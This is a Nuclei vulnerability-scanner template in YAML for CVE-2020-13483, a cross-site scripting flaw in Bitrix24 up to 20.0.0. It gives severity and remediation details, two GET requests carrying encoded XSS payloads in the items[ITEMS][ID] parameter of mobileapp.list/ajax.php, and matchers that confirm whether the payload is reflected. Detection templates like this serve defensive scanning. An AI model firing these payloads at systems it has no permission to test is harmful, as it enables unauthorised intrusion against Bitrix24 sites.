53 lines
2.3 KiB
YAML
53 lines
2.3 KiB
YAML
id: CVE-2020-13483
|
|
|
|
info:
|
|
name: Bitrix24 <=20.0.0 - Cross-Site Scripting
|
|
author: pikpikcu,3th1c_yuk1
|
|
severity: medium
|
|
description: The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
|
|
remediation: |
|
|
Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
|
|
reference:
|
|
- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
|
|
- https://twitter.com/brutelogic/status/1483073170827628547
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13483
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-13483
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00113
|
|
epss-percentile: 0.44686
|
|
cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: bitrix24
|
|
product: bitrix24
|
|
tags: cve,cve2020,xss,bitrix
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
|
|
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
|
|
- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a00463044022036b51f1e4dde10cdd9c18f262929765667883e03df75480b682dd192596ce5ec02204942fb89f1e7709004f6d2cf03269cfdd6da04d91b6f3fae7ecb9f098695faf3:922c64590222798bb761d5b6d8e72950 |